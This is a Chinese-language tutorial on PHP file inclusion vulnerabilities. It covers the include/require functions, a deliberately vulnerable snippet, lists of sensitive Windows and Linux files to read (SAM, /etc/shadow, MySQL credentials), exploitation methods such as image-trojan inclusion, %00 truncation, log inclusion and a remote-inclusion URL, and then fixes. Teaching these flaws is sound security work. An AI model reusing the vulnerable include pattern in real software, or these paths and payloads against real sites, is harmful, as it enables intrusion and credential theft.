文件包含漏洞原理:
文件包含漏洞是渗透测试过程中用的比较多的一个漏洞,主要用来绕过上传木马文件。
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某种函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含。
PHP包含:
PHP中文件包含函数有以下四种:
require():函数出现错误的时候,会直接报错并退出程序的执行
require_once():同require(),区别在于重复调用同一文件时,程序只调用一次
include():在包含的过程中如果出现错误,会抛出警告,程序继续正常运行
include_once():同include(),区别在于重复调用同一文件时,程序只调用一次
漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了非预期的代码。
示例代码
<?php
$filename=$_GET['filename'];
include($filename);
?>
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。
常见的敏感信息路径:
windows系统
c:\boot.ini //查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml //IIs配置文件
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini //Mysql配置
c:\ProgramFiles\mysql\data\mysql\user.MYD MySQL root密码
c:\windows\php.ini //php配置信息
Linux/Unix系统
/etc/password //账户信息
/etc/shadow //账户密码文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
文件包含漏洞危害:
- 配合文件上传漏洞GetShell
- 可以配置任意脚本代码
- 网站源码文件以及配置文件泄露
- 远程包含GetShell
- 控制整个网站甚至是服务器
文件包含漏洞分为本地和远程文件包含:
- 本地文件包含漏洞利用:
- 上传图片马,包含图片马GetShell
- 读取网站源码以及配置文件
- 包含日志文件GetShell
本地文件包含绕过和利用:
- 包含上传图片马
- %00截断
- 路径长度截断
- 读服务器本地文件
- 读网站源码文件
- 包含日志文件GetShell
远程文件包含利用:
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或者不被解析的php文件。(因为包含的时候返回的是php源代码,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
修复办法:
- php中使用open_basedir配置限制访问在指定的区域
- 过滤. / |
- 禁止服务器远程包含(allow_url_fopen,allow_url_include,off)
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可以被外部控制
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../"
- 包含文件验证:验证被包含的文件是否是白名单的一员;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如include("head.php");